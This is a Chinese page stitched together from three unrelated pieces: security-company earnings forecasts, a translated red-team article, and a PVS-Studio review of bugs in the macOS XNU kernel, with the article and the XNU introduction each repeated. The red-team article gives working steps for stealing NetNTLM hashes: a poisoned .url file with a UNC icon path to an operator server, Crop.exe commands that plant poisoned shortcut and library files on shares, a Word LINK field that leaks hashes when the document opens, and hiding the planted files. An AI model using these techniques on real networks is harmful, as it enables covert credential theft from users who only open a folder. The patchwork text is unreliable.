结果.jpg

奇安信

预计业绩:预测年初至下一报告期期末的累计净利润仍可能为亏损。

业绩变动原因说明:公司选择了高研发投入且人员快速扩张的发展模式,为建设研发平台、布局“新赛道”产品、提升攻防竞争力、建立全国应急响应中心及进一步加强营销体系建设和渠道建设而进行了大量投入,因此预测年初至下一报告期期末的累计净利润仍可能为亏损。

安恒

预计业绩:公司预计2021年上半年仍将亏损。

业绩变动原因说明:公司于2021年初受让杭州弗兰科信息安全科技有限公司共20.573%的股权,预计将产生约7,000万的投资收益,从而预计增加公司2021年上半年净利润约7,000万元。因公司的销售以及收入确认呈现的季节性特征影响,公司全年的销售业绩集中体现在下半年尤其是第四季度,但费用在年度内较为均衡地发生,因而公司预计2021年上半年仍将亏损,投资者不宜以公司季度或半年度的数据推测全年盈利状况。

山石网科

预计业绩:公司预计年初至下一报告期期末的累计净利润可能为亏损。

业绩变动原因说明:公司收入具有季节性,基于客户市场需求因素的影响,公司产品和服务的销售收入集中在下半年尤其是第四季度实现,而研发投入、人员工资及其他费用的支出则较为均匀,引致净利润在全年不均衡的分布,公司预计年初至下一报告期期末的累计净利润可能为亏损。

在红队攻击中,我们一直在寻找用于横向移动和特权提升的创新方法。在我们所处的许多环境中,许多红队常用的经典Active Directory攻击并不能很好地解决,因为我们经常需要与防御者进行斗争。

传统内部渗透测试的最有效策略之一是通过LLMNR或netbios投毒来收集或中继NetNTLM哈希。这种攻击已得到很好的理解和广泛使用,其中包括@ byt3bl33d3r@ W00Tock提供的大量资源。除了LLMNR / netbios投毒的方法外,NetNTLM哈希的收集不仅非常有效,而且在大型环境中也很难检测到。

虽然从概念上讲这是一条非常强大的攻击路径,但很少有人能有效地将其武器化用于红队攻击中,在这种情况下,你通常是通过命令和控制通道以低特权用户身份进行操作的。确实,到目前为止,我们知道的大多数尝试都需要管理权限和/或已安装驱动程序劫持445上的通信。先前工作的一些示例包括:

· https://ijustwannared.team/2017/05/27/responder-and-layer-2-pivots/

· https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/

· https://pkb1s.github.io/Relay-attacks-via-Cobalt-Strike-beacons/

· https://github.com/Kevin-Robertson/Inveigh

最近,NCC Group发布了Sigwhatever,它在Outlook签名中注入了指向托管图像的链接,从而强制通过HTTP进行身份验证,从而为目标内部鱼叉式网络钓鱼提供了一个有趣的载体。

这项工作在概念上类似于我们在该领域的一些研究,并且已经改变了游戏规则。为了对红队社区做出贡献,我们将在本文中分享我们的研究。

0x01 获取NetNTLM哈希

为了使远程主机对你进行身份验证(例如,遵循UNC路径的结果),必须满足某些条件。为了最大程度地减少hash散布到Internet等外部网络的可能性,你的系统必须位于“本地Intranet”域内。当你已经在目标内部网络上立足时,满足此要求的最简单方法是使用系统的NetBIOS名称。就是说,如果你在Workstation1.contoso.com上,则应在UNC路径中使用workstation1将其强制进入本地Intranet域。

有几种支持身份验证请求的服务,而且正如我们前面已经提到的那样,没有管理员权限,从SMB(445)获取哈希值并非易事,即使那样,从OpSec的角度来看,这种方法也可能不是理想的。另一种方法是通过滥用WebDAV小型重定向器通过HTTP进行。

分布式创作和版本控制(DAV)是HTTP协议的扩展,有助于通过HTTP进行文件共享。Windows使用WebClient服务来实现WebDAV,该服务的目的是通过与Windows应用程序的本机API调用进行文件交互,它被视为远程文件系统。这样做的好处是,远程HTTP服务器可以在任何端口上运行,从红队的角度来看,它提供了灵活性,并允许我们避免处理已经绑定的SMB端口。

可以使用UNC路径来启动与启用了\\[email protected]\mdsec.png WebDAV的HTTP服务器连接。

当对启用了WebDAV的UNC路径触发文件操作时,身份验证主机将执行以下操作:

1.发出OPTIONS方法以发现Web服务器支持的功能,

2.如果支持PROPFIND,则发出PROPFIND请求方法以发现目录结构,

3.如果Web服务器通过401 Unauthorized响应并通过WWW-Authenticate标头请求NTLM身份验证,则WebDAV小型重定向器将继续启动NTLM质询响应身份验证,最终将NetNTLM哈希提供给Web服务器。

身份验证的总体流程可能如下所示:

img

为了模仿该协议,我们创建了一个简单的基于.NET的线程HTTP服务器,以使用Farmer工具来处理身份验证请求。Farmer可以在任何端口上运行,并将从任何传入的连接中恢复NetNTLM哈希,将它们打印到屏幕上或将它们存储在文件系统上的加密日志文件中。尽管此版本当前不支持,但Farmer也可以扩展为执行跨协议中继,例如HTTP到SMB。

当然,要接受传入连接,你可能需要绕过可能存在的任何基于主机的防火墙。但是,仔细查看Windows防火墙访问控制列表几乎总是通过白名单进程或端口(seatbelt.exe WindowsFirewall)提供机会。@NinjaParanoid还说明了使用内置白名单URI的一些其他技巧,例如/Temporary_Listen_Addresses/,在绕过你遇到的防火墙限制方面可能会卓有成效。

Farmer可以通过C2通道执行,仅需要传入的WebDav连接即可恢复哈希值:

img

现在,我们已经概述了如何收集哈希的原理,让我们探索一些诱使用户连接到Farmer服务器的途径。

0x02 攻击方法

为了开始收集NetNTLM哈希,我们需要强制使用以对Farmer服务器进行身份验证。我们当然可以给他们发送一个网络钓鱼,并尝试对其进行社工以单击UNC路径,但是这可能会引起怀疑。从行业角度来看,如果我们在用户不知情的情况下强制进行身份验证,那将更加有效。

强制进行身份验证的最著名技术之一是通过SCF文件

SCF强制认证背后的方法是通过远程托管的图标进行的,当资源管理器对其进行解析时,它将导致对UNC路径所指向的位置(在我们的示例中为Farmer WebDAV服务)进行远程认证。考虑到这一点,我们提出了以下文件类型的清单,这些清单可能会用于攻击:

· Windows快捷方式(.lnk)

· 网址文件(.url)

· Windows库文件(.library-ms)

· Windows搜索连接器(.searchConnector-ms)

让我们更详细地探讨其中的每一个。

Windows 快捷方式

Windows快捷方式文件本身可以指向UNC路径,但这当然需要用户打开LNK。但是,在LNK文件格式中有一个称为“ icon location”的字符串值,它指向LNK图标文件的位置。资源管理器根据HasIconLocation标志自动读取并解析此值;如果存在,则用户只需打开包含的文件夹即可强制进行身份验证。

我们可以使用“截图”工具创建一个带有图标位置的LNK,该图标位置指向我们的Farmer WebDAV服务器。

img

使用LECmd解析LNK,我们可以验证LNK是否具有HasIconLocation标志,其中图标位置指向WebDAV共享:

img

现在,任何打开包含LNK的文件夹的用户都将可以其NetNTLM哈希发送到Farmer服务器。

URL 文件

URL文件是浏览器的快捷方式,可用于打开URL。就像LNK一样,URL文件可以包含一个图标以显示该文件。通过在路径中指定环境变量来打开包含文件夹时,可以强制资源管理器从UNC路径中检索图标,例如:

[InternetShortcut]
URL=farmer
WorkingDirectory=farmer
IconFile=\\\\[email protected]\\%USERNAME%.icon
IconIndex=1

裁剪工具可用于创建投毒的URL文件,如下所示:

Crop.exe \\\\fileserver\\common mdsec.url \\\\[email protected]\\mdsec.ico

Windows 库文件

Windows库文件是用户内容的虚拟容器,.library-ms文件可用于指向远程或本地存储位置。@dtmsecurity以前曾研究过这些文件的使用方法,以及在CIA Vault7泄漏中也曾讨论过

如Vault 7泄漏中所说的那样,library-ms文件的SearchConnectorDescription部分可以指向远程位置,这将在打开容器文件夹时再次强制通过资源管理器进行身份验证:

image.png

裁剪工具可用于创建投毒的库ms文件,如下所示:

Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\[email protected]\\mdsec

Windows 搜索连接器

搜索连接器文件用于将用户与存储在远程位置的数据连接起来,类似于前面提到的library-ms文件。

搜索连接器文件格式还允许使用图标来自定义连接器的显示方式,可以使用iconReferenceXML标签将其托管在远程URI(例如我们的Farmer WebDAV服务器)上:

image.png

简单地打开包含该.searchConnector-ms文件的文件夹将再次迫使资源管理器进行身份验证。

武器化

为了利用这些文件类型中的每一种,我们创建了一个额外的工具(名为Crop)。Crop通过将投毒文件写入操作员控制的位置(例如网络文件共享)来工作,当用户打开该位置时,资源管理器将尝试恢复该文件类型的图标文件并触发身份验证。应该注意的是,用户不需要打开文件,他们只需要打开包含文件夹以强制进行身份验证即可。为了进一步扩大成果,我们添加了“递归”标志,该标志将在父级中任何可写的子文件夹中工作,并删除投毒的文件。

https://player.vimeo.com/video/515287254

在这种方法中,我们当然会创建各种新文件来强制进行身份验证,当然这可能会引起用户的怀疑。使这种情况不那么明显的一种方法可能是设置NTFS隐藏属性以从资源管理器中对其进行屏蔽,这可以在.NET中轻松完成,如下所示:

File.SetAttributes(path, FileAttributes.Hidden);

我们描述的方法依赖于创建新文件,在某些情况下,这可能是不希望的。或者,我们可能希望毒化现有的常用文件,以便在重新打开它们时可以强制进行身份验证。

企业最常用的文件类型之一是Office文档,并且经常看到这些文件散布在文件共享中。为了投毒Office文档,我们创建了一个名为Fertiliser的附加工具。通过获取现有的Word docx并通过注入指向我们的远程WebDAV共享的新链接字段来投毒它。通过在域代码中设置“ \ a”指令,我们可以告诉Word在打开文档时自动更新链接域:

当用户打开文档时,将出现类似以下警告的提示:

LINK Excel.Sheet.8 \\\\[email protected]\\mdsec.png \\a

img

但是,无论用户的选择是还是否,NetNTLM哈希仍然会泄漏。

让我们看一下实际的攻击效果:

https://player.vimeo.com/video/515287398

当然,可以将其扩展到其他Office文档和文件类型,以扩展操作员可用的选项。

0x03 分析总结

资源管理器尝试加载图标文件时,我们已经记录的大多数文件类型都强制进行了身份验证。默认情况下,资源管理器配置为在网络文件夹上显示缩略图和图标,但是可以使用“ DisableThumbnailsOnNetworkFolders”和“ DisableThumbnails”组策略设置禁用此行为。

img

启用这些设置将阻止资源管理器加载图标文件,从而限制了该技术的使用范围。但是,它当然不能防止使用链接字段使Office文档投毒。

在许多潜在领域中,可以改进此工具和方法,其中一些仍在我们的研究范围内。

首先,可能还有其他文件类型,其中一些可能不会因禁用网络共享中的图标加载而受到影响;此外,其他Office文档(例如Excel和PowerPoint文件)无疑容易受到字段链接或类似的远程资源注入的影响,并且是扩展Fertiliser的良好选择。

最后,通过引入跨协议中继(例如从HTTP到SMB或LDAP),可以显着增强该技术的影响。可在MDSec ActiveBreach github上找到Farmer工具箱的源代码。

在红队攻击中,我们一直在寻找用于横向移动和特权提升的创新方法。在我们所处的许多环境中,许多红队常用的经典Active Directory攻击并不能很好地解决,因为我们经常需要与防御者进行斗争。

传统内部渗透测试的最有效策略之一是通过LLMNR或netbios投毒来收集或中继NetNTLM哈希。这种攻击已得到很好的理解和广泛使用,其中包括@ byt3bl33d3r@ W00Tock提供的大量资源。除了LLMNR / netbios投毒的方法外,NetNTLM哈希的收集不仅非常有效,而且在大型环境中也很难检测到。

虽然从概念上讲这是一条非常强大的攻击路径,但很少有人能有效地将其武器化用于红队攻击中,在这种情况下,你通常是通过命令和控制通道以低特权用户身份进行操作的。确实,到目前为止,我们知道的大多数尝试都需要管理权限和/或已安装驱动程序劫持445上的通信。先前工作的一些示例包括:

· https://ijustwannared.team/2017/05/27/responder-and-layer-2-pivots/

· https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/

· https://pkb1s.github.io/Relay-attacks-via-Cobalt-Strike-beacons/

· https://github.com/Kevin-Robertson/Inveigh

最近,NCC Group发布了Sigwhatever,它在Outlook签名中注入了指向托管图像的链接,从而强制通过HTTP进行身份验证,从而为目标内部鱼叉式网络钓鱼提供了一个有趣的载体。

这项工作在概念上类似于我们在该领域的一些研究,并且已经改变了游戏规则。为了对红队社区做出贡献,我们将在本文中分享我们的研究。

0x01 获取NetNTLM哈希

为了使远程主机对你进行身份验证(例如,遵循UNC路径的结果),必须满足某些条件。为了最大程度地减少hash散布到Internet等外部网络的可能性,你的系统必须位于“本地Intranet”域内。当你已经在目标内部网络上立足时,满足此要求的最简单方法是使用系统的NetBIOS名称。就是说,如果你在Workstation1.contoso.com上,则应在UNC路径中使用workstation1将其强制进入本地Intranet域。

有几种支持身份验证请求的服务,而且正如我们前面已经提到的那样,没有管理员权限,从SMB(445)获取哈希值并非易事,即使那样,从OpSec的角度来看,这种方法也可能不是理想的。另一种方法是通过滥用WebDAV小型重定向器通过HTTP进行。

分布式创作和版本控制(DAV)是HTTP协议的扩展,有助于通过HTTP进行文件共享。Windows使用WebClient服务来实现WebDAV,该服务的目的是通过与Windows应用程序的本机API调用进行文件交互,它被视为远程文件系统。这样做的好处是,远程HTTP服务器可以在任何端口上运行,从红队的角度来看,它提供了灵活性,并允许我们避免处理已经绑定的SMB端口。

可以使用UNC路径来启动与启用了\\[email protected]\mdsec.png WebDAV的HTTP服务器连接。

当对启用了WebDAV的UNC路径触发文件操作时,身份验证主机将执行以下操作:

1.发出OPTIONS方法以发现Web服务器支持的功能,

2.如果支持PROPFIND,则发出PROPFIND请求方法以发现目录结构,

3.如果Web服务器通过401 Unauthorized响应并通过WWW-Authenticate标头请求NTLM身份验证,则WebDAV小型重定向器将继续启动NTLM质询响应身份验证,最终将NetNTLM哈希提供给Web服务器。

身份验证的总体流程可能如下所示:

img

为了模仿该协议,我们创建了一个简单的基于.NET的线程HTTP服务器,以使用Farmer工具来处理身份验证请求。Farmer可以在任何端口上运行,并将从任何传入的连接中恢复NetNTLM哈希,将它们打印到屏幕上或将它们存储在文件系统上的加密日志文件中。尽管此版本当前不支持,但Farmer也可以扩展为执行跨协议中继,例如HTTP到SMB。

当然,要接受传入连接,你可能需要绕过可能存在的任何基于主机的防火墙。但是,仔细查看Windows防火墙访问控制列表几乎总是通过白名单进程或端口(seatbelt.exe WindowsFirewall)提供机会。@NinjaParanoid还说明了使用内置白名单URI的一些其他技巧,例如/Temporary_Listen_Addresses/,在绕过你遇到的防火墙限制方面可能会卓有成效。

Farmer可以通过C2通道执行,仅需要传入的WebDav连接即可恢复哈希值:

img

现在,我们已经概述了如何收集哈希的原理,让我们探索一些诱使用户连接到Farmer服务器的途径。

0x02 攻击方法

为了开始收集NetNTLM哈希,我们需要强制使用以对Farmer服务器进行身份验证。我们当然可以给他们发送一个网络钓鱼,并尝试对其进行社工以单击UNC路径,但是这可能会引起怀疑。从行业角度来看,如果我们在用户不知情的情况下强制进行身份验证,那将更加有效。

强制进行身份验证的最著名技术之一是通过SCF文件

SCF强制认证背后的方法是通过远程托管的图标进行的,当资源管理器对其进行解析时,它将导致对UNC路径所指向的位置(在我们的示例中为Farmer WebDAV服务)进行远程认证。考虑到这一点,我们提出了以下文件类型的清单,这些清单可能会用于攻击:

· Windows快捷方式(.lnk)

· 网址文件(.url)

· Windows库文件(.library-ms)

· Windows搜索连接器(.searchConnector-ms)

让我们更详细地探讨其中的每一个。

Windows 快捷方式

Windows快捷方式文件本身可以指向UNC路径,但这当然需要用户打开LNK。但是,在LNK文件格式中有一个称为“ icon location”的字符串值,它指向LNK图标文件的位置。资源管理器根据HasIconLocation标志自动读取并解析此值;如果存在,则用户只需打开包含的文件夹即可强制进行身份验证。

我们可以使用“截图”工具创建一个带有图标位置的LNK,该图标位置指向我们的Farmer WebDAV服务器。

img

使用LECmd解析LNK,我们可以验证LNK是否具有HasIconLocation标志,其中图标位置指向WebDAV共享:

img

现在,任何打开包含LNK的文件夹的用户都将可以其NetNTLM哈希发送到Farmer服务器。

URL 文件

URL文件是浏览器的快捷方式,可用于打开URL。就像LNK一样,URL文件可以包含一个图标以显示该文件。通过在路径中指定环境变量来打开包含文件夹时,可以强制资源管理器从UNC路径中检索图标,例如:

[InternetShortcut]
URL=farmer
WorkingDirectory=farmer
IconFile=\\\\[email protected]\\%USERNAME%.icon
IconIndex=1

裁剪工具可用于创建投毒的URL文件,如下所示:

Crop.exe \\\\fileserver\\common mdsec.url \\\\[email protected]\\mdsec.ico

Windows 库文件

Windows库文件是用户内容的虚拟容器,.library-ms文件可用于指向远程或本地存储位置。@dtmsecurity以前曾研究过这些文件的使用方法,以及在CIA Vault7泄漏中也曾讨论过

如Vault 7泄漏中所说的那样,library-ms文件的SearchConnectorDescription部分可以指向远程位置,这将在打开容器文件夹时再次强制通过资源管理器进行身份验证:

image.png

裁剪工具可用于创建投毒的库ms文件,如下所示:

Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\[email protected]\\mdsec

Windows 搜索连接器

搜索连接器文件用于将用户与存储在远程位置的数据连接起来,类似于前面提到的library-ms文件。

搜索连接器文件格式还允许使用图标来自定义连接器的显示方式,可以使用iconReferenceXML标签将其托管在远程URI(例如我们的Farmer WebDAV服务器)上:

image.png

简单地打开包含该.searchConnector-ms文件的文件夹将再次迫使资源管理器进行身份验证。

武器化

为了利用这些文件类型中的每一种,我们创建了一个额外的工具(名为Crop)。Crop通过将投毒文件写入操作员控制的位置(例如网络文件共享)来工作,当用户打开该位置时,资源管理器将尝试恢复该文件类型的图标文件并触发身份验证。应该注意的是,用户不需要打开文件,他们只需要打开包含文件夹以强制进行身份验证即可。为了进一步扩大成果,我们添加了“递归”标志,该标志将在父级中任何可写的子文件夹中工作,并删除投毒的文件。

https://player.vimeo.com/video/515287254

在这种方法中,我们当然会创建各种新文件来强制进行身份验证,当然这可能会引起用户的怀疑。使这种情况不那么明显的一种方法可能是设置NTFS隐藏属性以从资源管理器中对其进行屏蔽,这可以在.NET中轻松完成,如下所示:

File.SetAttributes(path, FileAttributes.Hidden);

我们描述的方法依赖于创建新文件,在某些情况下,这可能是不希望的。或者,我们可能希望毒化现有的常用文件,以便在重新打开它们时可以强制进行身份验证。

企业最常用的文件类型之一是Office文档,并且经常看到这些文件散布在文件共享中。为了投毒Office文档,我们创建了一个名为Fertiliser的附加工具。通过获取现有的Word docx并通过注入指向我们的远程WebDAV共享的新链接字段来投毒它。通过在域代码中设置“ \ a”指令,我们可以告诉Word在打开文档时自动更新链接域:

当用户打开文档时,将出现类似以下警告的提示:

LINK Excel.Sheet.8 \\\\[email protected]\\mdsec.png \\a

img

但是,无论用户的选择是还是否,NetNTLM哈希仍然会泄漏。

让我们看一下实际的攻击效果:

https://player.vimeo.com/video/515287398

当然,可以将其扩展到其他Office文档和文件类型,以扩展操作员可用的选项。

0x03 分析总结

资源管理器尝试加载图标文件时,我们已经记录的大多数文件类型都强制进行了身份验证。默认情况下,资源管理器配置为在网络文件夹上显示缩略图和图标,但是可以使用“ DisableThumbnailsOnNetworkFolders”和“ DisableThumbnails”组策略设置禁用此行为。

img

启用这些设置将阻止资源管理器加载图标文件,从而限制了该技术的使用范围。但是,它当然不能防止使用链接字段使Office文档投毒。

在许多潜在领域中,可以改进此工具和方法,其中一些仍在我们的研究范围内。

首先,可能还有其他文件类型,其中一些可能不会因禁用网络共享中的图标加载而受到影响;此外,其他Office文档(例如Excel和PowerPoint文件)无疑容易受到字段链接或类似的远程资源注入的影响,并且是扩展Fertiliser的良好选择。

最后,通过引入跨协议中继(例如从HTTP到SMB或LDAP),可以显着增强该技术的影响。可在MDSec ActiveBreach github上找到Farmer工具箱的源代码。

macOS Big Sur从亮相至今,接近一年的时间,还没有稳定下来。有人惊叹道,macOS系统沦落到需要重启电脑来解决问题。的确,macOS Big Sur让不少用户用上了重启的功能。特别是在使用这个系统第一个正式版的时候,重启电脑的次数比过去几年的总量都要多。

相对Windows系统来说,macOS升级的频繁高。其实,更新频繁高不是问题,关键是系统不稳定,影响到日常使用,这个问题在macOS Big Sur上最为突出。特别是电池问题,无论是MacBook Pro无法充电,还是耗电快,都困扰到不少用户。

在今年年初,苹果发布了macOS Big Sur的源代码。它包括XNU, macOS操作系统的内核。几年前,PVS-Studio已经检查了内核源代码,它与在macOS上发布的分析程序相一致。PVS-Studio是由俄罗斯公司开发的一款简单易用的静态代码分析工具,主要目的是在最初阶段就能识别和修复错误,防止后期浪费大量时间来寻找错误,提升效率的同时保障质量,可用于检测程序源代码中的错误,使用该软件,帮助用户快速检测C / C ++ / C ++ 0x应用程序源代码中的错误。

XNU - X不是Unix,它是苹果公司为Mac OS X操作系统开发的。这个内核的源代码是20年前根据APSL(苹果公共源代码许可证)和OC Darwin一起发布的。以前,你甚至可以将Darwin安装为一个成熟的操作系统。然而,现在这已经不可能了。源代码很大程度上是基于其他开源项目的。这就是为什么它的源代码被发布了。

你可以点击这里https://opensource.apple.com/找到组件的源代码,我使用的是GitHub上的镜像来检查。

如上所述,几年前,PVS-Studio已经检查了内核源代码,相关的发现请点此https://www.viva64.com/en/b/0566/。

最新的内核安全性检测

说实话,这个项目有复杂的代码,我也没有使用这样的代码库的经验。然而,PVS-Studio的警告非常详细。有一个指向文档的链接,其中包含正确和错误的代码示例。在这次检查中,cloc统计了1346个*. C文件,1822个C/ c++标头文件,225个*.cpp文件在项目中。

Fragment N1

1.png

PVS-Studio警告:V1064整数除法的“gPEClockFrequencyInfo.bus_clock_rate_hz”操作数小于“gPEClockFrequencyInfo.dec_clock_rate_hz”之一。结果将始终为zero. pe_identify_machine.c 72。

此处使用的所有字段均为整数类型:

2.png

通过中间赋值,将分隔字段gPEClockFrequencyInfo.bus_clock_rate_hz赋值为值100000000,将除数字段gPEClockFrequencyInfo.dec_clock_rate_hz赋值为值1000000000。在这种情况下,除数比被除数大十倍。由于此处的所有字段都是整数,因此gPEClockFrequencyInfo.bus_to_dec_rate_den字段为0。

根据生成的bus_to_dec_rate_den字段的名称判断,除数和被除数混淆了。该代码的开发者可能认为初始值会发生变化,因此结果将不再等于0。但是,此代码对我而言仍然非常可疑。

Fragment N2

16.png

PVS-Studio警告:V614使用未初始化的变量'best' used. sdt.c 572

使用这个方法的目的就是要寻找某个函数的名称,该算法使用最佳变量。它可能是结果的最佳候选人。但是,最初仅在不初始化的情况下声明此变量。下次使用将检查具有最佳变量的某个元素的值,该变量此时将未初始化,甚至仅在使用其自身值的条件内对其进行了初始化。

未初始化的变量可能导致不可预知的结果,尽管这个错误看起来微不足道,但在使用PVS-Studio检查不同的项目时仍然很常见。

Fragment N3

17.png

PVS-Studio警告:V560条件表达式的一部分始终为 false: index < 0. bsd_stubs.c:236

这是分析程序如何跟踪变量的可能值的一个例子,在函数开始时,将索引变量与零进行比较。如果它小于零,则将在内部块中为变量赋值一个不小于零的值。因此,下一个外部if会再次检查index变量的值是否小于零。但是,这是不可能的。

这不会改变程序的逻辑,不过,也有可能暗示了其他条件。也就是说,在任何情况下,额外的检查并不能使代码更具可读性和可理解性。

Fragment N4

18.png

PVS-Studio警告如下:

V547表达式'bp->nb_dirtyoff >= bp->nb_dirtyend'始终为false. nfs_bio.c 3858;

V560条件表达式的一部分总是true: (bp->nb_dirtyoff < end). nfs_bio.c 3862;

请注意,这不是代码的完整形式。

现在让我们从第一个警告开始,分析程序确定nb_dirtyoff不能大于或等于nb_dirtyend。在可疑检查之前,还有两个if,带有 (bp->nb_dirtyend > 0) && (bp->nb_dirtyoff < end) 和bp->nb_dirtyend > end 检查。同样,bp->nb_dirtyend = end执行被赋值。

为什么第三个bp->nb_dirtyoff >= bp->nb_dirtyend检查总是假的?

它是如此简单,从条件来看,nb_dirtyoff小于end, nb_dirtyend等于end。因此,nb_dirtyend肯定大于nb_dirtyoff。bp->nb_dirtyoff = bp->nb_dirtyend = 0赋值将永远不会执行。

最终,我们有了以下代码部分:

20.png

可以把它简化成以下这样:

21.png

但前提是这个算法在此时才能显示出正确的答案。

如果嵌套在第一个警告中,第二个警告指示第四个警告。

22.png

此时,分析程序将基于永远不会执行零赋值这一事实发出警告。因此,外部条件已经有了bp->nb_dirtyoff < end检查。因此,由于上述情况的错误,内部检查是无意义的。

Fragment N5

23.png

PVS-Studio警告:V793奇怪的是,“len + optlen”语句的结果是条件的一部分。

这是一个相当简单的漏洞。在这种情况下,将两个变量简单地添加在一起,而不是布尔表达式。最终,仅当总和等于零时,表达式才为假。如果这是隐含的,那么可能值得显然与0进行了比较。那么,条件正确性的问题就不会困扰我们了。

也许,这是故意的。然而,在代码中还存在有这样的检查:

24.png

这表明,比较也应该在两个if中发生。

而且,此功能减少到16行,在原有形式中占2268行!

以下是同一部分的第二个警告:

V793奇怪的是,'len + optlen'语句的结果是条件的一部分。

Fragment N6

25.png

PVS-Studio警告:V793'tp-> t_rawq.c_cc + tp-> t_canq.c_cc'语句的结果是条件的一部分,这很奇怪。

还有一个检查吗,它使用总和,并将结果与另一个变量进行比较:

26.png

在简化的代码中,分析程序指出的条件是显而易见的。然而,在初始代码中,它嵌套在多个if中。因此,在代码审查时很容易忽略它。不过,分析程序不会忽略它。

Fragment N7

27.png

pvp - studio警告:V1028可能溢出。考虑将'amount + used'运算符的操作数强制转换为'size_t'类型,而不是result. kpi_mbuf.c。

同样如果条件发生错误,则结果完全不同。加法结果被转换为size_t。此时,加法操作数必须转换为size_t,以便结果完全符合数字类型。如果由于加法而发生了溢出,那么将把这个无意义的值缩减为size_t,并与mbuf_maxlen(m)的结果进行比较。因为程序员想要防止溢出,所以必须正确执行:

28.png

有几种此类警告,如下所示:

V1028可能溢出。考虑转换操作数,而不是转换结果。vm_compressor_pager.c 1165

V1028可能溢出。考虑转换操作数,而不是转换结果。vm_compressor_pager.c 1131

V1028可能溢出。考虑转换操作数,而不是转换结果。audit_worker.c 241

V1028可能溢出。考虑将'((u_int32_t) slp * hz) + 999999'操作符的操作数转换为'long'类型,而不是结果类型。tty.c 2199

Fragment N8

29.png

V1019 复合赋值表达式'n -= i'被用于condition. kern_descrip.c_99 3916内部

这段代码很难被读懂,也许应该简化一下:

30.png

这段代码似乎不太有效,但是肯定更容易理解。要快速检查代码等效性,请转到Godbolt(编译器资源管理器)。顺便说一句,在那里你可以测试PVS-Studio检查程序的工作。在此服务的工具中很容易找到分析程序。

如果不启用优化,则程序集代码将只有几行。但是,要注意if的主体。不使用新的n值。也就是说,很有可能在这里不需要赋值。

31.png

此外,当进一步使用n变量时,源代码可能会导致错误。如果表达式(n -= i) < = 0为假,则将使用新的n值。由于我尚未使用过新的源代码,因此很难确定哪种行为是正确的。

Fragment N9

32.png

PVS-Studio警告:V764传递给'vsock_pcb_safe_reset_address'函数:'dst' and 'src'. vsock_domain.c 549可能的错误参数顺序

也许这不是一个错误,但是,此阶段中调用的函数的签名看起来非常可疑:

33.png

在此片段中使用此函数时,名称相似的最后两个参数将以不同的顺序传递。

以下是同一个警告的不同内容:

V764传递给'vsock_pcb_safe_reset_address'函数的可能错误参数顺序:'dst' 和 'src'. vsock_domain.c 587;

V764传递给'vsock_pcb_safe_reset_address' 函数的可能错误参数顺序: 'dst' 和 'src'. vsock_domain.c 590;

Fragment N10

34.png

PVS-Studio警告:V1051考虑检查打印错误,有可能在here. classq_subr.c 685检查'tbr->tbr_last'

在项目中,此检查无法以最佳方式运行。发生这种情况是因为外部变量在条件或循环的主体中的代码中不断进行初始化。这些变量的名称与条件中使用的名称相似。因此,这次检查程序发出了几个明显的错误警告。条件主体中未使用选中的tbr_rate字段。初始化时比该检查多35行。这就是为什么上述警告对我来说仍然可疑的原因。但是,在此检查之前初始化的tbr_last字段未在其他任何地方使用。我们可以假设必须检查它而不是tbr_rate字段。

Fragment N11

35.png

PVS-Studio警告:V571重复检查。 'if (ar->k_ar.ar_arg_mac_string == NULL)'已在 245. audit_mac.c 246行检查过了;

PVS-Studio警告:V547表达式'ar-> k_ar.ar_arg_mac_string == NULL'始终为true. audit_mac.c 246;

分析程序对这段代码同时发出了两个警告。

你可能会注意到第一个if中的检查与第二个if中的检查是相同的。此外,对于第二次检查还有一种解释:

36.png

因此,在第二次检查中不应该有任何内部验证。我们只需要退出这个方法。所以,最有可能的是,内部检查是偶然重复的,没有任何意义。

尽管也许应该在内部检查中检查其他字段。但是,这里出现了复制粘贴错误。开发人员忘记更正字段名称。

Fragment N12

37.png

PVS-Studio警告:V567未定义行为

宏是非常难以理解的,但是,事实证明这种情况要容易一些。从OSSwapInt16(*ucsp++)表达式开始分析。

然后,我意识到有一个更简单的方法。我刚打开了项目检查后留下的.i 文件。

39.png

最重要的是,表达式的这一部分引起了我们的注意:

40.png

表达式中的操作符都不是序列点,因为我们不知道|操作符的哪个参数将首先被赋值,所以*uscp的值没有定义。

对于V567检查,PVS-Studio提供了非常详细的文档。如果你想知道为什么这样的代码会导致未定义的行为,可以详细阅读此文档。

此时,程序员只打算将增加*ucsp的值增加一倍,事实上,这个值会增加两倍。二这个过程是看不见的,也是不清楚的。这就是宏非常危险的原因。在很多情况下,最好是写一个普通的函数。编译器最有可能自动执行替换,因此,不会发生性能下降。

Fragment N13

41.png

PVS-Studio警告:V567未定义行为。让我们看一下htobe64调用的行。经过预处理,分析人员发现该行可疑:

42.png

这个问题实际上和前面的例子一样。在带有|和&操作数的内链中没有序列点。因此,每个操作期间pf_status.stateid取什么值是不知道的,结果也不确定。

同样,该变量在一行中也会递增几次。

总结

这一次分析程序发现的错误比以前的检查少,这证明XNU开发过程中很可能使用了静态分析和其他代码质量控制工具。几乎可以肯定的是,该项目使用了Clang静态分析程序。然而,如上所述PVS-Studio还是发现了错误和漏洞。

macOS Big Sur从亮相至今,接近一年的时间,还没有稳定下来。有人惊叹道,macOS系统沦落到需要重启电脑来解决问题。的确,macOS Big Sur让不少用户用上了重启的功能。特别是在使用这个系统第一个正式版的时候,重启电脑的次数比过去几年的总量都要多。

相对Windows系统来说,macOS升级的频繁高。其实,更新频繁高不是问题,关键是系统不稳定,影响到日常使用,这个问题在macOS Big Sur上最为突出。特别是电池问题,无论是MacBook Pro无法充电,还是耗电快,都困扰到不少用户。

在今年年初,苹果发布了macOS Big Sur的源代码。它包括XNU, macOS操作系统的内核。几年前,PVS-Studio已经检查了内核源代码,它与在macOS上发布的分析程序相一致。PVS-Studio是由俄罗斯公司开发的一款简单易用的静态代码分析工具,主要目的是在最初阶段就能识别和修复错误,防止后期浪费大量时间来寻找错误,提升效率的同时保障质量,可用于检测程序源代码中的错误,使用该软件,帮助用户快速检测C / C ++ / C ++ 0x应用程序源代码中的错误。

XNU - X不是Unix,它是苹果公司为Mac OS X操作系统开发的。这个内核的源代码是20年前根据APSL(苹果公共源代码许可证)和OC Darwin一起发布的。以前,你甚至可以将Darwin安装为一个成熟的操作系统。然而,现在这已经不可能了。源代码很大程度上是基于其他开源项目的。这就是为什么它的源代码被发布了。

